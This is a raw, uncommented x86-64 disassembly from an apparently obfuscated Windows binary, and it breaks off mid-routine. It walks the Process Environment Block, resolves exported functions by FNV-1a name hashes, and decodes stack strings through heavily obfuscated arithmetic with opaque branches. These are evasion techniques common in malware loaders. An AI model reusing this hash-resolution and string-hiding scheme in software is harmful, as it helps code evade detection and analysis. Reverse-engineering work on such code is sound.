lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x3a316cd9
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400be190
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x1400be170
cmp edx, 0x7dc3d093
je 0x1400be19a
test r9d, r9d
jne 0x1400be150
mov rax, qword [rax]
jmp 0x1400be120
mov edx, dword [r11 + 0x24]
mov rcx, rdi
mov r8d, dword [r11 + 0x1c]
add rdx, r10
add r8, r10
movzx edx, word [rdx + r9*2]
mov eax, dword [r8 + rdx*4]
add rax, r10
call rax
movzx r10d, byte [rsp + 0x38]
xor eax, eax
mov qword [rbp - 0x62], rax
movabs rdi, 0xd62c9000260f09c7
mov word [rbp - 0x5a], ax
movabs rsi, 0x89a0ddb7d7575919
mov byte [rbp - 0x58], al
movabs r15, 0xa32e24926623d6b
mov dword [rbp - 0x70], 0xb3c4c3a
movabs r14, 0x753b19258a92de43
mov dword [rbp - 0x6c], 0x533d6e71
movabs r12, 0x60d554933dce636d
mov dword [rbp - 0x68], 0x2f246f53
movabs r13, 0x9cfebb6ee3b3d362
mov word [rbp - 0x64], 0x952e
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x1402ed240]
mov r9, qword [0x1402ed238]
nop
xor r11d, r11d
cmp r11, 0x19
jae 0x1400bef1a
movzx ebx, byte [rbp + r11 - 0x70]
mov rdx, rbx
cmp r8, r11
ja 0x1400bef11
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400be282
lea rcx, [r11 + r15]
mov rax, rbx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rbx
add r10, rcx
add r10b, 0x13
jmp 0x1400be2d0
je 0x1400bee90
inc rax
cmp r8, rax
je 0x1400bedfa
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bedc3
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400bed7d
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400bed54
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400bed08
nop dword [rax + rax]
cmp r9, r11
ja 0x1400bef08
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x1400be2fd
lea rdx, [r11 + rdi]
movzx eax, bl
and al, dl
movzx r10d, bl
add al, al
sub r10b, al
sub r10b, 0x71
add r10b, dl
jmp 0x1400be330
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400bece4
inc rax
cmp r8, rax
je 0x1400becb8
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bec92
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400bec6f
lea rax, [r8 + r9]
cmp rax, r11
jbe 0x1400be96b
nop dword [rax]
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400be943
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400be912
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400be8e4
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400be8bd
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400be897
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400be874
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400be84c
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400be824
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400be7ed
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400be340
lea r8, [r9 + 5]
lea r9, [r8 + 9]
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400beee5
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400beec2
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400be52b
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400be511
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400be4f7
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400be791
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400be731
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400be6e5
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400be6ba
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400be340
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 0x61]
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400be683
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400be65b
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400be634
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400be611
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400be5eb
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400be5c3
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400be595
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400be56d
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400be545
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400be340
lea r8, [r9 + 0x64]
lea r9, [r8 + 0x3e8]
jmp 0x1400be340
lea rcx, [r11 + rsi]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x51
jmp 0x1400be330
lea rcx, [r11 + r14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x2b
jmp 0x1400be2d0
lea rcx, [r11 + r12]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 5
jmp 0x1400be253
mov ecx, 0x3c
movabs rdx, 0xb164800130784e38
add rdx, r11
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400bed26
lea rdx, [r11 + r13]
mov ecx, 0x29
movzx eax, dl
inc r9
and al, bl
dec r11
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc r11
jmp 0x1400be243
mov ecx, 0x16
movabs rdx, 0x8898f6dc96ef588c
add rdx, r11
dec r11
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc r11
jmp 0x1400be243
mov ecx, 3
movabs rdx, 0x7433324a4a2addb6
add rdx, r11
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400bed9b
movabs rcx, 0x5fcd6db7fd6662e0
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x20
add r8, r9
jmp 0x1400bede1
movabs rcx, 0x4b67a925b0a1e80a
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x46
jmp 0x1400bede1
movabs rdx, 0x3701e49363dd6d34
movzx r10d, bl
add rdx, r11
movzx eax, dl
and al, bl
add al, al
sub r10b, al
sub r10b, 0x6c
add r10b, dl
jmp 0x1400bee1c
mov ecx, 0x37
movabs rdx, 0x229c20011718f25e
add rdx, r11
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400bee48
mov ecx, 0x24
movabs rdx, 0xe365b6eca547788
add rdx, r11
movzx eax, dl
and al, bl
sub cl, al
movzx eax, byte [rbp + r11 - 0x70]
add rax, r9
add r11, rax
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc r11
jmp 0x1400be243
movabs rcx, 0xdb37f0010a694471
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x17
mov byte [rbp + r11 - 0x70], r10b
inc r11
jmp 0x1400be243
movabs rcx, 0xc6d22b6ebda4c99b
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x3d
cmp r9, 0x64
jb 0x1400be6d8
mov edx, 9
movabs rcx, 0x104629254b2478a2
add rcx, r11
movzx eax, cl
and al, bl
sub dl, al
add dl, dl
add dl, cl
add dl, bl
lea r10d, [rdx + rdx]
jmp 0x1400bed26
movabs rcx, 0xb26c66dc70e04ec5
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x63
cmp r8, 0x3e8
jae 0x1400bec1b
lea rax, [r9 + 0x61]
cmp r8, rax
jbe 0x1400beb4a
mov ecx, 0xb
movabs rdx, 0x444c7b6e4b77ac46
add rdx, r11
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400be703
movabs rcx, 0x9e06a24a241bd3ef
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x77
lea rax, [r8 + r9]
cmp rax, 0x61
je 0x1400bec47
lea rax, [r9 + 0x5a]
cmp r8, rax
jbe 0x1400bea61
movabs rcx, 0x6e1feb6e2568a27f
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x79
jmp 0x1400be74f
mov ecx, 0x2d
movabs rdx, 0x50b6000e45a3aaa
add rdx, r11
movzx eax, dl
and al, bl
sub cl, al
movzx eax, byte [rbp + r11 - 0x70]
add rax, r9
add r11, rax
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc r11
jmp 0x1400be243
mov ecx, 0x1a
movabs rdx, 0xf0a59b6e9795bfd4
add rdx, r11
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400bee48
mov ecx, 7
movabs rdx, 0xdc3fd6dc4ad144fe
add rdx, r11
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400bee1c
movabs rcx, 0xc7da1249fe0cca28
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x18
jmp 0x1400bede1
movabs rcx, 0xb3744db7b1484f52
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x3e
add r8, r9
jmp 0x1400bede1
movabs rdx, 0x9f0e89256483d47c
movzx r10d, bl
add rdx, r11
movzx eax, dl
and al, bl
add al, al
sub r10b, al
sub r10b, 0x64
add r10b, dl
jmp 0x1400bed9b
mov ecx, 0x3b
movabs rdx, 0x8aa8c49317bf59a6
add rdx, r11
dec r11
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc r11
jmp 0x1400be243
mov ecx, 0x28
movabs rdx, 0x76430000cafaded0
add rdx, r11
inc r9
movzx eax, dl
dec r11
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc r11
jmp 0x1400be243
mov ecx, 0x15
movabs rdx, 0x61dd3b6e7e3663fa
add rdx, r11
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400bed26
lea rax, [r9 + 5]
cmp r8, rax
jae 0x1400be98e
lea rcx, [r11 + r15]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x13
jmp 0x1400be7af
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400be9ce
mov ecx, 0xf
movabs rdx, 0xac5920004c1e138e
add rdx, r11
movzx eax, dl
and al, bl
sub cl, al
movzx eax, byte [rbp + r11 - 0x70]
add rax, r9
add r11, rax
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc r11
jmp 0x1400be243
inc rax
cmp r8, rax
jne 0x1400be9fe
mov ecx, 0x35
movabs rdx, 0xd524a924e5a7093a
add rdx, r11
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400bee1c
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400bea2d
movabs rcx, 0xfdf032497f2ffee6
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x4a
add r8, r9
jmp 0x1400bede1
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400be7af
movabs rdx, 0x1255f6dbcbf479bc
movzx r10d, bl
add rdx, r11
movzx eax, dl
and al, bl
add al, al
sub r10b, al
sub r10b, 0x24
add r10b, dl
jmp 0x1400bed9b
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400bea8d
movabs rcx, 0x8285b000722d1d55
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x53
jmp 0x1400bed26
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400beabf
movabs rcx, 0xab5139250bb61301
add rcx, r11
dec r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 7
inc r11
jmp 0x1400be243
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400beaeb
movabs rcx, 0xbfb6fdb7587a8dd7
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x1f
jmp 0x1400bed9b
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400beb1a
movabs rcx, 0xd41cc249a53f08ad
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x45
add r8, r9
jmp 0x1400bede1
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400be74f
movabs rcx, 0x114e10008b8c792f
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x49
jmp 0x1400bee48
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400beb8a
mov ecx, 0x1e
movabs rdx, 0x58b24000983c271c
add rdx, r11
movzx eax, dl
and al, bl
sub cl, al
movzx eax, byte [rbp + r11 - 0x70]
add rax, r9
add r11, rax
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc r11
jmp 0x1400be243
inc rax
cmp r8, rax
jne 0x1400bebba
mov ecx, 0x31
movabs rdx, 0x6d180492e500a1f2
add rdx, r11
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400bee48
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bebe6
movabs rcx, 0xbeaf16dc18128d4a
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 6
jmp 0x1400bed9b
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400be703
mov ecx, 0x36
movabs rdx, 0xfbe06492fe5ffdcc
add rdx, r11
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400bed26
movzx r10d, byte [rbp + r11 - 0x70]
movabs rdx, 0x24abedb797e8f378
add rdx, r11
movzx eax, dl
and al, bl
add al, al
sub r10b, al
sub r10b, 0x48
add r10b, dl
add r10b, bl
jmp 0x1400bed9b
movabs rcx, 0x3911b249e4ad6e4e
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, byte [rbp + r11 - 0x70]
lea r10d, [rbx + rcx]
sub r10b, 0x22
jmp 0x1400bee1c
movabs rcx, 0x64f4f0003f6e65a1
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x67
jmp 0x1400bee1c
movabs rcx, 0x3c2966dba5e56ff5
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x4d
add r8, r9
jmp 0x1400bede1
movabs rcx, 0xfef81924bf97ff73
inc r9
add rcx, r11
dec r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x25
inc r11
jmp 0x1400be243
movabs rdx, 0xea92549272d3849d
movzx r10d, bl
add rdx, r11
movzx eax, dl
and al, bl
add al, al
sub r10b, al
sub r10b, 0x4b
add r10b, dl
jmp 0x1400bed26
movabs rcx, 0xc1c6cb6dd94a8ef1
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x69
movabs rcx, 0x1a790b6e7186b60d
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x5b
add cl, bl
mov byte [rbp + r11 - 0x70], cl
inc r9
dec r11
inc r11
jmp 0x1400be243
movabs rcx, 0x98fb42493fc19945
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x1d
dec r11
inc r11
jmp 0x1400be243
movabs rcx, 0x84957db6f2fd1e6f
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 9
movabs rcx, 0x2eded000be4b30e3
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x35
add cl, bl
add cl, r10b
mov byte [rbp + r11 - 0x70], cl
add r8, r9
jmp 0x1400bede1
movabs rcx, 0x5bc9f492597428c3
add rcx, r11
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x55
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400be243
mov rbx, rdx
movabs rcx, 0x476430000cafaded
add rcx, r11
movzx r10d, bl
and dl, cl
add dl, dl
sub r10b, dl
sub r10b, 0x7b
add r10b, cl
inc r9
movabs rcx, 0x434494930b0fabb9
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0xf
add cl, bl
movzx eax, cl
mov byte [rbp + r11 - 0x70], al
add rax, r9
sub r11, rax
movzx eax, bl
inc r8
movabs rdx, 0x4d7776dc3171e924
mov ecx, 2
add rdx, r11
and al, dl
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + r11 - 0x70], cl
add r11, rax
movzx eax, byte [rbp + r11 - 0x70]
add rax, r9
add r11, rax
inc r11
jmp 0x1400be243
movabs rcx, 0x1e98a6db7326b841
movzx eax, dl
add rcx, r11
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
add r10b, 0x39
movzx eax, byte [rbp + r11 - 0x70]
add rax, r9
add r11, rax
inc r11
jmp 0x1400be243
movzx eax, bl
movabs rcx, 0x4c6f9000f109e897
add rcx, r11
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x21
jmp 0x1400be240
movzx eax, bl
movabs rcx, 0x3809cb6ea4456dc1
add rcx, r11
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x47
jmp 0x1400be230
lea rdi, [rbp + 0x1414374]
jmp 0x1400bef1e
lea rdi, [rbp + 0x6380df]
jmp 0x1400bef1e
lea rdi, [rbp - 0x70]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x1400befa5
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1400befa5
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0xece3cbfd
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400befa0
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x1400bef80
cmp edx, 0x7d146ef7
je 0x1400befaa
test r9d, r9d
jne 0x1400bef60
mov rax, qword [rax]
jmp 0x1400bef30
mov edx, dword [r11 + 0x24]
mov rcx, rdi
mov r8d, dword [r11 + 0x1c]
add rdx, r10
add r8, r10
movzx edx, word [rdx + r9*2]
mov eax, dword [r8 + rdx*4]
add rax, r10
call rax
movzx r11d, byte [rsp + 0x38]
xor eax, eax
mov qword [rbp - 6], rax
movabs rsi, 0xa7abf95b11587f98
mov dword [rbp + 2], eax
movabs r12, 0xe369b68a6e8a4f38
mov word [rbp + 6], ax
movabs r14, 0x7a661d2a05190368
mov byte [rbp + 8], al
movabs r15, 0xb392b015280464f8
mov dword [rbp - 0x10], 0x80ebf5f7
movabs r13, 0xecbf43004aefc688
mov dword [rbp - 0xc], 0xcbd28b86
mov word [rbp - 8], 0xc9b4
nop word [rax + rax]
mov r8, qword [0x1402ed240]
mov r9, qword [0x1402ed238]
nop
xor edi, edi
cmp rdi, 0x19
jae 0x1400bfce2
movzx ebx, byte [rbp + rdi - 0x10]
mov r10, rbx
cmp r8, rdi
ja 0x1400bfcd9
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1400bf080
lea rcx, [rdi + r12]
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
add r11b, 0x78
jmp 0x1400bf0b0
je 0x1400bfc49
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bfbb1
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400bfb4c
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400bfafd
nop dword [rax]
cmp r9, rdi
ja 0x1400bfcd0
lea rax, [r9 + 4]
cmp r8, rax
jae 0x1400bf0dd
lea rdx, [rdi + rsi]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x28
add r11b, dl
jmp 0x1400bf120
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400bfadd
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bfab4
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400bfa91
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bfa69
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400bfa41
nop
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x1400bf6d6
nop dword [rax]
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400bf6af
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400bf683
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400bf655
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400bf646
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400bf61e
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400bf5f6
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bf5d1
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400bf5a9
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400bf130
lea r8, [r9 + 0x40]
lea r9, [r8 + 0x28]
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400bfca8
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400bfc80
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400bf2fb
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400bf2dc
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400bf2bd
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400bf547
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400bf4e5
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400bf495
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400bf46a
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400bf130
lea r8, [r9 + 0x5a]
lea r9, [r8 + 0x41]
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400bf445
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400bf41d
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400bf3f8
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400bf3d0
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400bf3bd
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400bf396
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400bf36d
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400bf341
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400bf31a
lea r8, [r9 + 0x10]
lea r9, [r8 + 0x2a]
jmp 0x1400bf130
lea rdx, [rdi + r14]
mov ecx, 0x14
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400bf120
lea rdx, [rdi + r15]
mov ecx, 0x1c
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400bf0b0
lea rdx, [rdi + r13]
mov ecx, 0x24
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400bf051
movabs rdx, 0x3d5fcad88ac3fcc0
movzx eax, bl
add rdx, rdi
movzx r11d, bl
and al, dl
add al, al
sub r11b, al
sub r11b, 0x40
add r11b, dl
jmp 0x1400bfb1b
movzx eax, bl
movabs rcx, 0x768c5dc3adaf5e50
add rcx, rdi
inc r9
and al, cl
dec rdi
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x30
inc rdi
jmp 0x1400bf042
movzx eax, bl
movabs rcx, 0xafb8f0aed09abfe0
add rcx, rdi
dec rdi
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x20
inc rdi
jmp 0x1400bf042
movabs rdx, 0xe8e58399f3862170
movzx eax, bl
add rdx, rdi
movzx r11d, bl
and al, dl
add al, al
sub r11b, al
sub r11b, 0x10
add r11b, dl
jmp 0x1400bfb6f
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r11d, [rdi + rbx]
jmp 0x1400bfb95
mov ecx, 8
movabs rdx, 0x5b3ea970395ce490
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400bfb98
mov ecx, 0x10
movabs rdx, 0x946b3c5b5c484620
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400bfbd5
mov ecx, 0x18
movabs rdx, 0xcd97cf467f33a7b0
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400bfc07
mov ecx, 0x20
movabs rdx, 0x6c46231a21f0940
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400bfc6a
movzx eax, bl
movabs rcx, 0x95b3d17d796b7d28
add rcx, rdi
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x18
mov byte [rbp + rdi - 0x10], r11b
inc rdi
jmp 0x1400bf042
movabs rdx, 0xcee064689c56deb8
movzx eax, bl
add rdx, rdi
movzx r11d, bl
and al, dl
add al, al
sub r11b, al
sub r11b, 8
add r11b, dl
cmp r9, 0x200
jb 0x1400bf488
movabs rcx, 0x9c1ebb280b1b9050
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r11d, [rcx*2 - 0x60]
jmp 0x1400bfb1b
mov ecx, 4
movabs rdx, 0x80cf753bf424048
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
cmp r8, 0x64
jae 0x1400bf9eb
lea rax, [r9 + 5]
cmp r8, rax
jbe 0x1400bf8c9
mov ecx, 0x38
movabs rdx, 0xd7dc7857684d5ff0
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400bf4b7
movabs rdx, 0x41398a3ee22da1d8
movzx eax, bl
add rdx, rdi
mov ecx, 0xc
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
lea rax, [r8 + r9]
cmp rax, 4
je 0x1400bfa11
lea rax, [r9 + 3]
cmp r8, rax
jbe 0x1400bf7c2
movabs rdx, 0x30307efc56f4e058
movzx eax, bl
add rdx, rdi
movzx r11d, bl
and al, dl
add al, al
sub r11b, al
sub r11b, 0x68
jmp 0x1400bf505
mov ecx, 0x10
movabs rdx, 0x27346b0d8afe5f20
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400bfc07
mov ecx, 0x18
movabs rdx, 0x6060fdf8ade9c0b0
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400bfbd5
mov ecx, 0x20
movabs rdx, 0x998d90e3d0d52240
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400bfb98
mov ecx, 0x28
movabs rdx, 0xd2ba23cef3c083d0
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400bfb95
movabs rdx, 0xbe6b6ba16abe560
jmp 0x1400bf76f
mov ecx, 0x38
movabs rdx, 0x451349a5399746f0
add rdx, rdi
movzx eax, bl
and al, dl
dec rdi
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
